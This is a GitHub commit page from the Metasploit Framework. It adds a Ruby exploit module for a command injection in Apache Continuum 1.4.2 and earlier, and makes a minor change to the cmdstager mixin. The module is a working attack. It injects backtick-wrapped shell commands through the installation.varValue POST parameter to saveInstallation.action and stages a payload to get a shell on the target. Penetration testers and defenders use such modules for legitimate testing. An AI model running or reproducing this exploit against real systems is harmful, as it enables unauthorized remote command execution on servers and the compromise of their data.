Skip to content

Commit 563b820

Browse files
committed
Land rapid7#6962, Apache Continuum Exploit
2 parents b321f72 + ec1248d commit 563b820

File tree

2 files changed

+79
-3
lines changed

2 files changed

+79
-3
lines changed

lib/msf/core/exploit/cmdstager.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -306,22 +306,22 @@ def compatible_flavor?(f)
306306
# overriden by a module this mixin.
307307
#
308308
# @param opts [Hash] Hash of configuration options.
309-
def execute_cmdstager_begin(opts)
309+
def execute_cmdstager_begin(opts = {})
310310
end
311311

312312
# Code to execute after the cmd stager stub. This method is designed to be
313313
# overriden by a module this mixin.
314314
#
315315
# @param opts [Hash] Hash of configuration options.
316-
def execute_cmdstager_end(opts)
316+
def execute_cmdstager_end(opts = {})
317317
end
318318

319319
# Code called to execute each command via an arbitrary module-defined vector.
320320
# This method needs to be overriden by modules using this mixin.
321321
#
322322
# @param cmd [String] The command to execute.
323323
# @param opts [Hash] Hash of configuration options.
324-
def execute_command(cmd, opts)
324+
def execute_command(cmd, opts = {})
325325
raise NotImplementedError
326326
end
327327

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::CmdStager
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Apache Continuum Arbitrary Command Execution',
16+
'Description' => %q{
17+
This module exploits a command injection in Apache Continuum <= 1.4.2.
18+
By injecting a command into the installation.varValue POST parameter to
19+
/continuum/saveInstallation.action, a shell can be spawned.
20+
},
21+
'Author' => [
22+
'David Shanahan', # Proof of concept
23+
'wvu' # Metasploit module
24+
],
25+
'References' => [
26+
%w{EDB 39886}
27+
],
28+
'DisclosureDate' => 'Apr 6 2016',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'linux',
31+
'Arch' => [ARCH_X86, ARCH_X86_64],
32+
'Privileged' => false,
33+
'Targets' => [
34+
['Apache Continuum <= 1.4.2', {}]
35+
],
36+
'DefaultTarget' => 0
37+
))
38+
39+
register_options([
40+
Opt::RPORT(8080)
41+
])
42+
end
43+
44+
def check
45+
res = send_request_cgi(
46+
'method' => 'GET',
47+
'uri' => '/continuum/about.action'
48+
)
49+
50+
if res && res.body.include?('1.4.2')
51+
CheckCode::Appears
52+
elsif res && res.code == 200
53+
CheckCode::Detected
54+
else
55+
CheckCode::Safe
56+
end
57+
end
58+
59+
def exploit
60+
print_status('Injecting CmdStager payload...')
61+
execute_cmdstager(flavor: :bourne)
62+
end
63+
64+
def execute_command(cmd, opts = {})
65+
send_request_cgi(
66+
'method' => 'POST',
67+
'uri' => '/continuum/saveInstallation.action',
68+
'vars_post' => {
69+
'installation.name' => Rex::Text.rand_text_alpha(8),
70+
'installation.type' => 'jdk',
71+
'installation.varValue' => '`' + cmd + '`'
72+
}
73+
)
74+
end
75+
76+
end

0 commit comments

Comments
 (0)